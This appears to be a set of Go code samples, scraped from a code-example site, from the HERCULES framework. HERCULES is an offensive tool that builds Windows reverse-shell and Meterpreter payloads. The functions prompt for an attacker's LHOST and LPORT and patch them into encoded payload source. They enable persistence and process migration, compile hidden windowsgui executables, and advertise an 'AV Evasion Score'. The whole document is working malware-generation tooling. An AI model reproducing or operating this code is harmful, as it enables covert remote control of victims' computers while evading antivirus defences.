Пример #1
0
func PrintPayloads() {

	White := color.New(color.FgWhite)
	BoldWhite := White.Add(color.Bold)
	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)

	fmt.Println("\n")
	BoldWhite.Println(" #===============================================================================#")
	BoldWhite.Println(" |     PAYLOAD                           |     SIZE/UPX     |  AV Evasion Score  |")
	BoldWhite.Println(" |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~|")
	BoldWhite.Print("(1) Meterpreter Reverse TCP              |  946 KB / 262 KB |       ")
	BoldGreen.Print("10/10        ")
	BoldWhite.Println("|")
	BoldWhite.Println(" |                                       |                  |                    |")
	BoldWhite.Print("(2) Meterpreter Reverse HTTP             |  4.2 MB / 1.1 MB |       ")
	BoldGreen.Print("10/10        ")
	BoldWhite.Println("|")
	BoldWhite.Println(" |                                       |                  |                    |")
	BoldWhite.Print("(3) Meterpreter Reverse HTTPS            |  4.2 MB / 1.1 MB |       ")
	BoldGreen.Print("10/10        ")
	BoldWhite.Println("|")
	BoldWhite.Println(" |                                       |                  |                    |")
	BoldWhite.Print("(4) HERCULES REVERSE SHELL               |  4.4 MB / 1.1 MB |        ")
	BoldGreen.Print("9/10        ")
	BoldWhite.Println("|")
	BoldWhite.Println(" |                                       |                  |                    |")
	BoldWhite.Println(" #===============================================================================#")
	fmt.Println("\n")
}
Пример #2
0
func Menu_1() {
	Yellow := color.New(color.FgYellow)
	BoldYellow := Yellow.Add(color.Bold)
	White := color.New(color.FgWhite)
	UnderlinedWhite := White.Add(color.Underline)
	BoldYellow.Println("\n[1] GENERATE PAYLOAD ")
	BoldYellow.Println("\n[2] BIND PAYLOAD ")
	BoldYellow.Println("\n[3] UPDATE ")

	UnderlinedWhite.Print("\n\n[*] Select : ")
}
Пример #3
0
func AskUPX() {
	Red := color.New(color.FgRed)
	Warning := Red.Add(color.Bold)
	fmt.Print("\n[?] Do you want to compress the payload with UPX (y/n) :")
	fmt.Scan(&Ask)
	if Ask == "y" || Ask == "Y" {
		Warning.Print("\n[!] Compressing payloads with UPX decreases the AV Evasion Score, do you still want to continue (Y/n) :")
		fmt.Scan(&Ask)
		if Ask == "y" || Ask == "Y" {
			Payload.UPX = true
			Payload.Score = (Payload.Score - 3)
			ClearScreen()
			PrintBanner()

			ExeName := strings.TrimSuffix(Payload.FileName, ".go")
			ExeName += ".exe"
			UPX_Command := string("upx --brute " + ExeName)
			UPX := exec.Command("sh", "-c", UPX_Command)
			UPX.Stdout = os.Stdout
			UPX.Run()
		} else {
			Payload.UPX = false
		}
	} else {
		Payload.UPX = false
	}
}
Пример #4
0
func PrintCredit() {
	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	color.Green("\n+ -- --=[      HERCULES FRAMEWORK           ]")
	color.Green("+ -- --=[         Version: " + VERSION + "            ]")
	BoldGreen.Println("+ -- --=[            Ege Balcı              ]")
}
Пример #5
0
func AskPersistence() {
	Red := color.New(color.FgRed)
	Warning := Red.Add(color.Bold)
	fmt.Print("\n[?] Do you want to add persistence function to payload (y/n) :")
	fmt.Scan(&Ask)
	if Ask == "y" || Ask == "Y" {
		Warning.Print("\n[!] Adding persistence will decreases the AV Evasion Score and increase the paylaod size, do you still want to continue (Y/n) :")
		fmt.Scan(&Ask)
		if Ask == "y" || Ask == "Y" {
			Payload.Persistence = true
			Payload.Score = (Payload.Score - 2)
		} else {
			Payload.Persistence = false
		}
	} else {
		Payload.Persistence = false
	}
}
Пример #6
0
func PreparePayload(No int) {

	Blue := color.New(color.FgBlue)
	BoldBlue := Blue.Add(color.Bold)
	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	Red := color.New(color.FgRed)
	Warning := Red.Add(color.Bold)

	if No == 1 {
		Payload.Type = 1
		Payload.Size = "946 KB"
		Payload.FullSize = "1.1 MB"
		Payload.MidSize = "326 KB"
		Payload.UPX_Size = "262 KB"
		Payload.Score = 10
		Payload.SourceCode = METERPRETER_TCP

		ClearScreen()
		PrintBanner()

		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# Meterpreter Reverse TCP                    | 946 KB / 262 KB  |       ")
		BoldGreen.Print("10/10        ")
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")

		for {
			var IP string
			fmt.Print("\n\n[*] Enter LHOST : ")
			fmt.Scan(&IP)
			if (len(IP) < 7) || (len(IP) > 15) {
				Warning.Println("\n\n[!] ERROR : Invalid ip")
			} else {
				Payload.Ip = IP
				break
			}

		}

		for {
			var PORT string
			fmt.Print("\n[*] Enter LPORT : ")
			fmt.Scan(&PORT)
			_, err := strconv.Atoi(PORT)
			if err == nil {
				Payload.Port = PORT
				break
			}
			Warning.Println("\n\n[!] ERROR : Invalid port")

		}
		AskPersistence()
		AskMigrate()

	} else if No == 2 {

		Payload.Type = 2
		Payload.Size = "4.2 MB"
		Payload.UPX_Size = "1.1 KB"
		Payload.Score = 10
		Payload.SourceCode = METERPRETER_HTTP_HTTPS

		ClearScreen()
		PrintBanner()

		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# Meterpreter Reverse HTTP                   | 4.2 MB / 1.1 MB  |       ")
		BoldGreen.Print("10/10        ")
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")

		for {
			var IP string
			fmt.Print("\n\n[*] Enter LHOST : ")
			fmt.Scan(&IP)
			if (len(IP) < 7) || (len(IP) > 15) {
				Warning.Println("\n\n[!] ERROR : Invalid ip")
			} else {
				Payload.Ip = IP
				break
			}

		}

		for {
			var PORT string
			fmt.Print("\n[*] Enter LPORT : ")
			fmt.Scan(&PORT)
			_, err := strconv.Atoi(PORT)
			if err == nil {
				Payload.Port = PORT
				break
			}
			Warning.Println("\n\n[!] ERROR : Invalid port")

		}

		AskPersistence()
		AskMigrate()

	} else if No == 3 {
		Payload.Type = 3
		Payload.Size = "4.2 MB"
		Payload.Score = 10
		Payload.SourceCode = METERPRETER_HTTP_HTTPS

		ClearScreen()
		PrintBanner()

		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# Meterpreter Reverse HTTPS                  | 4.2 MB / 1.1 MB  |       ")
		BoldGreen.Print("10/10        ")
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")

		for {
			var IP string
			fmt.Print("\n\n[*] Enter LHOST : ")
			fmt.Scan(&IP)
			if (len(IP) < 7) || (len(IP) > 15) {
				Warning.Println("\n\n[!] ERROR : Invalid ip")
			} else {
				Payload.Ip = IP
				break
			}

		}

		for {
			var PORT string
			fmt.Print("\n[*] Enter LPORT : ")
			fmt.Scan(&PORT)
			_, err := strconv.Atoi(PORT)
			if err == nil {
				Payload.Port = PORT
				break
			}
			Warning.Println("\n\n[!] ERROR : Invalid port")

		}

		AskPersistence()
		AskMigrate()

	} else if No == 4 {
		Payload.Type = 4
		Payload.Size = "4.4 MB"
		Payload.Score = 9
		Payload.SourceCode = HERCULES_REVERSE_SHELL

		ClearScreen()
		PrintBanner()

		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# HERCULES REVERSE SHELL                     | 4.4 MB / 1.1 MB  |        ")
		BoldGreen.Print("9/10        ")
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")

		for {
			var IP string
			fmt.Print("\n\n[*] Enter LHOST : ")
			fmt.Scan(&IP)
			if (len(IP) < 7) || (len(IP) > 15) {
				Warning.Println("\n\n[!] ERROR : Invalid ip")
			} else {
				Payload.Ip = IP
				break
			}

		}

		for {
			var PORT string
			fmt.Print("\n[*] Enter LPORT : ")
			fmt.Scan(&PORT)
			_, err := strconv.Atoi(PORT)
			if err == nil {
				Payload.Port = PORT
				break
			}
			Warning.Println("\n\n[!] ERROR : Invalid port")

		}

	} else {

		ClearScreen()
		PrintBanner()
		PrintPayloads()

		Warning.Println("\n[!] ERROR : Invalid choise\n")

		fmt.Print("\n\n[*] Select : ")
		fmt.Scan(&NO)

		PreparePayload(NO)

	}

}
Пример #7
0
func main() {

	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	Yellow := color.New(color.FgYellow)
	BoldYellow := Yellow.Add(color.Bold)
	Red := color.New(color.FgRed)
	BoldRed := Red.Add(color.Bold)

	Result := CheckSetup()

	if Result == false {
		ClearScreen()
		PrintBanner()
		PrintCredit()

		BoldRed.Println("\n\n[!] HERCULES is not installed properly, please run setup.sh")

		os.Exit(1)

	}

	ClearScreen()
	PrintBanner()
	PrintCredit()
	Menu_1()

	fmt.Scan(&MenuSelection)

	ClearScreen()

	if MenuSelection == 1 {
		PrintBanner()
		PrintPayloads()
		fmt.Print("\n\n[*] Select : ")
		fmt.Scan(&NO)
		PreparePayload(NO)

		fmt.Print("\n\n[*] Enter the base name for output files : ")
		fmt.Scan(&Payload.FileName)
		CompilePayload()
		AskUPX()
		FinalView()
	} else if MenuSelection == 2 {
		ClearScreen()
		PrintBanner()
		PrintCredit()
		BoldRed.Println("\n\n[!] Bind payload option will be added at next version...")
		time.Sleep(3 * time.Second)
		main()
	} else if MenuSelection == 3 {
		ClearScreen()
		PrintBanner()
		PrintCredit()
		fmt.Println("\n\n")
		Result := ChecVersion()
		if strings.Contains(Result, "[!]") {
			BoldRed.Println(Result)
			if Result == "[!] New version detected" {
				BoldYellow.Print("\nDo you want to upgrade ? (y/n) : ")
				fmt.Scan(&Ask)
				if Ask == "y" || Ask == "Y" {
					Update := exec.Command("sh", "-c", "chmod 777 UPDATE && ./UPDATE")
					Update.Stdout = os.Stdout
					Update.Start()
					os.Exit(1)
				} else {
					main()
				}
			}
		} else {
			BoldGreen.Println(Result)
		}
	} else {

	}

}
Пример #8
0
func CompilePayload() {
	Yellow := color.New(color.FgYellow)
	BoldYellow := Yellow.Add(color.Bold)
	Red := color.New(color.FgRed)
	Warning := Red.Add(color.Bold)

	Payload.FileName += ".go"

	File, _ := os.Create(Payload.FileName)
	Source, _ := base64.StdEncoding.DecodeString(Payload.SourceCode)
	var SourceCode string

	if Payload.Type == 2 || Payload.Type == 3 {
		Address := string("\"http://" + Payload.Ip + ":" + Payload.Port + "/\"")
		SourceCode = strings.Replace(string(Source), string("\"http://127.0.0.1:8080/\""), string(Address), -1)
		if Payload.Persistence == true {
			SourceCode = strings.Replace(string(SourceCode), "//import \"EGESPLOIT/RSE\"", `import "EGESPLOIT/RSE"`, -1)
			SourceCode = strings.Replace(string(SourceCode), "//RSE.Persistence()", "RSE.Persistence()", -1)
		}
		if Payload.Migrate == true {
			SourceCode = strings.Replace(string(SourceCode), "//import \"EGESPLOIT/RSE\"", "import \"EGESPLOIT/RSE\"", -1)
			SourceCode = strings.Replace(string(SourceCode), "//RSE.Migrate(Addr, len(Shellcode))", "RSE.Migrate(Addr, len(Shellcode))", -1)
		}

		File.WriteString(SourceCode)

		BuildCommand := string(`export GOOS=windows && export GOARCH=386 && go build -ldflags "-H windowsgui -s -w" ` + Payload.FileName)
		BoldYellow.Println("\n[*] Compiling payload...")
		BoldYellow.Println("\n[*] " + BuildCommand)
		exec.Command("sh", "-c", BuildCommand).Run()
		CleanFilesCommand := string("rm " + Payload.FileName)
		exec.Command("sh", "-c", CleanFilesCommand).Run()
		DirFiles, _ := exec.Command("sh", "-c", "ls").Output()
		FileName_No_Suffix := strings.TrimSuffix(Payload.FileName, ".go")
		if !(strings.Contains(string(DirFiles), FileName_No_Suffix)) {
			Warning.Println("\n[!] ERROR : Compile failed")
			os.Exit(1)
		}
		File.Close()
		MovePayload := string("mv " + FileName_No_Suffix + ".exe /root/")
		exec.Command("sh", "-c", MovePayload).Run()

	} else if Payload.Type == 1 {
		var IP string = "[4]byte{"
		IP_Array := strings.Split(string(Payload.Ip), `.`)
		for i := 0; i < 4; i++ {
			if i == 3 {
				IP += (IP_Array[i] + ",")
				break
			}
			IP += (IP_Array[i] + "," + " ")
		}
		IP += "}}"

		SourceCode = strings.Replace(string(Source), `[4]byte{127,0,0,1}}`, IP, -1)
		SourceCode = strings.Replace(string(SourceCode), `5555`, Payload.Port, -1)

		if Payload.Persistence == true {
			SourceCode = strings.Replace(string(SourceCode), `//import "EGESPLOIT/RSE"`, `import "EGESPLOIT/RSE"`, -1)
			SourceCode = strings.Replace(string(SourceCode), `//RSE.Persistence()`, `RSE.Persistence()`, -1)
		}
		if Payload.Migrate == true {
			SourceCode = strings.Replace(string(SourceCode), `//import "EGESPLOIT/RSE"`, `import "EGESPLOIT/RSE"`, -1)
			SourceCode = strings.Replace(string(SourceCode), `//RSE.Migrate(Addr, len(Shellcode))`, `RSE.Migrate(Addr, len(Shellcode))`, -1)
		}

		File.WriteString(SourceCode)

		BuildCommand := string(`export GOOS=windows && export GOARCH=386 && go build -ldflags "-H windowsgui -s -w" ` + Payload.FileName)
		BoldYellow.Println("\n[*] Compiling payload...")
		BoldYellow.Println("\n[*] " + BuildCommand)
		exec.Command("sh", "-c", BuildCommand).Run()
		CleanFilesCommand := string("rm " + Payload.FileName)
		exec.Command("sh", "-c", CleanFilesCommand).Run()
		DirFiles, _ := exec.Command("sh", "-c", "ls").Output()
		FileName_No_Suffix := strings.TrimSuffix(Payload.FileName, ".go")
		if !(strings.Contains(string(DirFiles), FileName_No_Suffix)) {
			Warning.Println("\n[!] ERROR : Compile failed")
			os.Exit(1)
		}
		File.Close()
		MovePayload := string("mv " + FileName_No_Suffix + ".exe /root/")
		exec.Command("sh", "-c", MovePayload).Run()

	} else if Payload.Type == 4 {
		Payload.Ip = string(`"` + Payload.Ip + `"`)
		Payload.Port = string(`"` + Payload.Port + `"`)
		SourceCode = strings.Replace(string(Source), `"10.10.10.84"`, Payload.Ip, -1)
		SourceCode = strings.Replace(string(SourceCode), `"5555"`, Payload.Port, -1)

		File.WriteString(SourceCode)

		BuildCommand := string(`export GOOS=windows && export GOARCH=386 && go build -ldflags "-H windowsgui -s -w" ` + Payload.FileName)
		BoldYellow.Println("\n[*] Compiling payload...")
		BoldYellow.Println("\n[*] " + BuildCommand)
		exec.Command("sh", "-c", BuildCommand).Run()
		CleanFilesCommand := string("rm " + Payload.FileName)
		exec.Command("sh", "-c", CleanFilesCommand).Run()
		DirFiles, _ := exec.Command("sh", "-c", "ls").Output()
		FileName_No_Suffix := strings.TrimSuffix(Payload.FileName, ".go")
		if !(strings.Contains(string(DirFiles), FileName_No_Suffix)) {
			Warning.Println("\n[!] ERROR : Compile failed")
			os.Exit(1)
		}
		File.Close()
		MovePayload := string("mv " + FileName_No_Suffix + ".exe /root/")
		exec.Command("sh", "-c", MovePayload).Run()

	}

}
Пример #9
0
func FinalView() {
	Cyan := color.New(color.FgCyan)
	BoldCyan := Cyan.Add(color.Bold)
	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	Blue := color.New(color.FgBlue)
	BoldBlue := Blue.Add(color.Bold)
	Yellow := color.New(color.FgYellow)
	BoldYellow := Yellow.Add(color.Bold)
	Red := color.New(color.FgRed)
	BoldRed := Red.Add(color.Bold)
	White := color.New(color.FgWhite)
	BoldWhite := White.Add(color.Bold)
	ClearScreen()
	PrintBanner()

	if Payload.Type == 1 {
		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# Meterpreter Reverse TCP                    | 946 KB / 262 KB  |        ")
		if Payload.Score < 5 {
			BoldRed.Print(Payload.Score)
		} else if Payload.Score == 5 {
			BoldYellow.Print(Payload.Score)
		} else {
			BoldGreen.Print(Payload.Score)
		}
		if Payload.Score == 10 {
			BoldGreen.Print("/10       ")
		} else {
			BoldGreen.Print("/10        ")
		}
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")
	} else if Payload.Type == 2 {
		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# Meterpreter Reverse HTTP                   | 4.2 MB / 1.1 MB  |        ")
		if Payload.Score < 5 {
			BoldRed.Print(Payload.Score)
		} else if Payload.Score == 5 {
			BoldYellow.Print(Payload.Score)
		} else {
			BoldGreen.Print(Payload.Score)
		}
		if Payload.Score == 10 {
			BoldGreen.Print("/10       ")
		} else {
			BoldGreen.Print("/10        ")
		}
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")
	} else if Payload.Type == 3 {
		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# Meterpreter Reverse HTTPS                  | 4.2 MB / 1.1 MB  |        ")
		if Payload.Score < 5 {
			BoldRed.Print(Payload.Score)
		} else if Payload.Score == 5 {
			BoldYellow.Print(Payload.Score)
		} else {
			BoldGreen.Print(Payload.Score)
		}
		if Payload.Score == 10 {
			BoldGreen.Print("/10       ")
		} else {
			BoldGreen.Print("/10        ")
		}
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")
	} else if Payload.Type == 4 {
		BoldBlue.Println("#====================================================================================#")
		BoldBlue.Println("#     SELECTED PAYLOAD                       |     SIZE/UPX     |  AV Evasion Score  #")
		BoldBlue.Println("#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~#")
		BoldBlue.Print("# HERCULES REVERSE SHELL                     | 4.4 MB / 1.1 MB  |        ")
		if Payload.Score < 5 {
			BoldRed.Print(Payload.Score)
		} else if Payload.Score == 5 {
			BoldYellow.Print(Payload.Score)
		} else {
			BoldGreen.Print(Payload.Score)
		}
		if Payload.Score == 10 {
			BoldGreen.Print("/10       ")
		} else {
			BoldGreen.Print("/10        ")
		}
		BoldBlue.Println("#")
		BoldBlue.Println("#====================================================================================#")
	}

	if Payload.Persistence == true {
		BoldCyan.Print("\n[*] Persistence : ON")
		BoldWhite.Print(" (")
		BoldRed.Print("-2")
		BoldWhite.Println(")")
	}
	if Payload.Migrate == true {
		BoldCyan.Print("\n[*] Migration : ON")
		BoldWhite.Print(" (")
		BoldRed.Print("-1")
		BoldWhite.Println(")")
	}

	if Payload.UPX == true {
		BoldCyan.Print("\n[*] UPX : ON")
		BoldWhite.Print(" (")
		BoldRed.Print("-3")
		BoldWhite.Println(")")
	}

	if Payload.Type == 1 {
		if Payload.UPX == true && (Payload.Persistence || Payload.Migrate) {
			BoldCyan.Println("\n[*] Payload Size : 326 KB")
		} else if Payload.UPX == true && !(Payload.Persistence || Payload.Migrate) {
			BoldCyan.Println("\n[*] Payload Size : 262 KB")
		} else if Payload.UPX == false && !(Payload.Persistence || Payload.Migrate) {
			BoldCyan.Println("\n[*] Payload Size : 946 KB")
		}

	} else {
		if Payload.UPX == true {
			BoldCyan.Println("\n[*] Payload Size : " + Payload.UPX_Size)
		} else {
			BoldCyan.Println("\n[*] Payload Size : " + Payload.Size)
		}
	}

	PayloadName := strings.TrimSuffix(Payload.FileName, ".go")

	PayloadName += ".exe"

	BoldWhite.Println("\n[*] Payload saved at : /root/" + PayloadName + "\n\n")

}
Пример #10
0
func main() {

	Green := color.New(color.FgGreen)
	BoldGreen := Green.Add(color.Bold)
	Yellow := color.New(color.FgYellow)
	BoldYellow := Yellow.Add(color.Bold)
	Red := color.New(color.FgRed)
	BoldRed := Red.Add(color.Bold)
	White := color.New(color.FgWhite)
	BoldWhite := White.Add(color.Bold)

	color.Red(" ██░ ██ ▓█████  ██▀███   ▄████▄   █    ██  ██▓    ▓█████   ██████ ")
	color.Red("▓██░ ██▒▓█   ▀ ▓██ ▒ ██▒▒██▀ ▀█   ██  ▓██▒▓██▒    ▓█   ▀ ▒██    ▒ ")
	color.Red("▒██▀▀██░▒███   ▓██ ░▄█ ▒▒▓█    ▄ ▓██  ▒██░▒██░    ▒███   ░ ▓██▄   ")
	color.Red("░▓█ ░██ ▒▓█  ▄ ▒██▀▀█▄  ▒▓▓▄ ▄██▒▓▓█  ░██░▒██░    ▒▓█  ▄   ▒   ██▒")
	color.Red("░▓█▒░██▓░▒████▒░██▓ ▒██▒▒ ▓███▀ ░▒▒█████▓ ░██████▒░▒████▒▒██████▒▒")
	color.Red(" ▒ ░░▒░▒░░ ▒░ ░░ ▒▓ ░▒▓░░ ░▒ ▒  ░░▒▓▒ ▒ ▒ ░ ▒░▓  ░░░ ▒░ ░▒ ▒▓▒ ▒ ░")
	color.Red(" ▒ ░▒░ ░ ░ ░  ░  ░▒ ░ ▒░  ░  ▒   ░░▒░ ░ ░ ░ ░ ▒  ░ ░ ░  ░░ ░▒  ░ ░")
	color.Red(" ░  ░░ ░   ░     ░░   ░ ░         ░░░ ░ ░   ░ ░      ░   ░  ░  ░  ")
	color.Red(" ░  ░  ░   ░  ░   ░     ░ ░         ░         ░  ░   ░  ░      ░  ")
	color.Red("                        ░                                         ")

	color.Green("\n+ -- --=[      HERCULES FRAMEWORK           ]")
	BoldGreen.Println("+ -- --=[            Ege Balcı              ]")

	BoldWhite.Println("\n\n[*] STARTING HERCULES SETUP \n")

	BoldYellow.Println("[*] Detecting OS...")

	if runtime.GOOS == "linux" {
		OsVersion, _ := exec.Command("sh", "-c", "uname -a").Output()
		BoldYellow.Println("[*] OS Detected : " + string(OsVersion))
		BoldYellow.Println("[*] Installing golang...")
		Go := exec.Command("sh", "-c", "apt-get install golang")
		Go.Stdout = os.Stdout
		Go.Stdin = os.Stdin
		Go.Run()
		BoldYellow.Println("[*] Installing upx...")
		UPX := exec.Command("sh", "-c", "apt-get install upx")
		UPX.Stdout = os.Stdout
		UPX.Stdin = os.Stdin
		UPX.Run()
		BoldYellow.Println("[*] Installing openssl...")
		OSSL := exec.Command("sh", "-c", "apt-get install openssl")
		OSSL.Stdout = os.Stdout
		OSSL.Stdin = os.Stdin
		OSSL.Run()
		BoldYellow.Println("[*] Installing git...")
		Git := exec.Command("sh", "-c", "apt-get install git")
		Git.Stdout = os.Stdout
		Git.Stdin = os.Stdin
		Git.Run()

		BoldYellow.Println("[*] Cloning EGESPLOIT Library...")
		exec.Command("sh", "-c", "git clone https://github.com/EgeBalci/EGESPLOIT.git").Run()
		exec.Command("sh", "-c", "cp EGESPLOIT /usr/lib/go-1.6/src/").Run()
		exec.Command("sh", "-c", "mv EGESPLOIT /usr/lib/go/src/").Run()

		BoldYellow.Println("[*] Cloning color Library...")
		exec.Command("sh", "-c", "git clone https://github.com/fatih/color.git").Run()
		exec.Command("sh", "-c", "cp color /usr/lib/go-1.6/src/").Run()
		exec.Command("sh", "-c", "mv color /usr/lib/go/src/").Run() // /usr/lib/go-1.6/src/

		Stat, Err := CheckValid()

		if Stat == false {
			BoldYellow.Println("\n")
			BoldRed.Println(Err)
		} else {
			BoldGreen.Println("\n\n[+] Setup completed successfully")
		}

	} else if runtime.GOOS != "linux" {
		BoldRed.Println("[!] ERROR : HERCULES+ only supports linux distributions")
	}

}